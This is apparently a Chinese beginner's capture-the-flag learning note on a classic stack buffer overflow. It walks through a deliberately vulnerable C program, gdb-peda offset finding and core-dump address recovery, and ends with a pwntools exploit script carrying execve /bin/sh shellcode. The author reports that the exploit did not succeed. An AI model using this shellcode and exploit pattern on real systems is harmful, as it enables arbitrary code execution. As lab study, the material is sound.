pwn入门2
代码是这个
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vunerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main() {
vunerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
编译的时候关掉了一切保护措施balabala -o level1
然后
- 打开gdb
haibin$: gdb ./level1
- 跑一个150长的字符串
gdb-peda$ pattern create 150 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA'
- 跑一下程序,把字符串输进去,得到崩溃时候的无效返回地址
Stopped reason: SIGSEGV 0x41416d41 in ?? ()
- 看看这个字符串
0x41416d41
(AmAA
)在输入的哪个位置上(这里开始有疑问,后来明白了)
或者pattern offset 0x41416d41
不是pattern offset 'AmAA'
哦pattern offset 'AAmA'
因为这里是小端0x41416d41
实际上意思是以此出现了0x41
,0x6d
,0x41
,0x41
,从低的地方往高的地方数数哦,所以对应的是字符串AmAA
- 得到了偏移量
gdb-peda$ pattern offset '0x41416d41' 1094806849 found at offset: 140
接下来就是通过贮储文件得到正确的要跳转到的shellcode的位置,前面的过程相当于得知了shellcode的格式,即相对位置(shellcode + padding + ret) 其中shellcode和padding共长140,
ret
处填shellcode的起始位置,即为报错时候的$esp - 140 -4
,但这是个相对位置,我们得得到程序运行时候的shellcode的绝对位置,就是栈上的某一块位置,本来的话,我们在调试的时候,出现Stopped reason: SIGSEGV 0x41416d41 in ?? ()
的时候就可以通过x/10s $esp-144
就可以看到我们shellcode的地址gdb-peda$ x/10s $esp-144 0xffffcb50: "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\377"
这里得到shellcode的地址为
0xffffcb50
,但实际上有个问题,据说gdb调试的时候会影响栈地址,和不用gdb的时候不一样,我的天,,,所以要正常运行程序生成贮储文件来找出正确的地址ulimit -c unlimited sudo sh -c 'echo "tmp/core.%t" > /proc/sys/kernel/core_pattern'
大概是设置转储文件名字格式
之后运行我们的程序,输入长字符串haibin$: ./level1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.....懒得帖了 Segment fault(core dump) haibin$: gdb level1 /tmp/core.xxxxxxx ....各种信息 Program terminated with signal SIGSEGV, Segmentation fault. \#0 0x41416d41 in ?? () gdb-peda$ x/10s $esp-144 0xffffcb90: "AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAA\n\377"
得到了我们要的地址
0xffffcb90
(这个地址确实和开gdb的不一样,开gdb的地址大概是0xffffcb50
),然后就能写poc了写poc
#!/usr/bin/python
#encoding: utf-8
from pwn import *
#p = process('./level1')
p = remote('127.0.0.1', 123456)
ret = 0xffffcb90
#md , shou qiao hao lei a,我从网上抄的shellcode,感觉好像其实不能用
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret) # 140 + 4 没毛病
print payload
p.send(payload)
p.interactive()
#|-----------payload---------|
#|---------------------------|
#|140 bytes |4 bytes|
#|---------------------------|
#|shellcode + padding|ret |
#|---------------------------|
- 写好跑一下,应该就能getshell了,但我好像并没有成功,不知道为什么,但大概了解了整个过程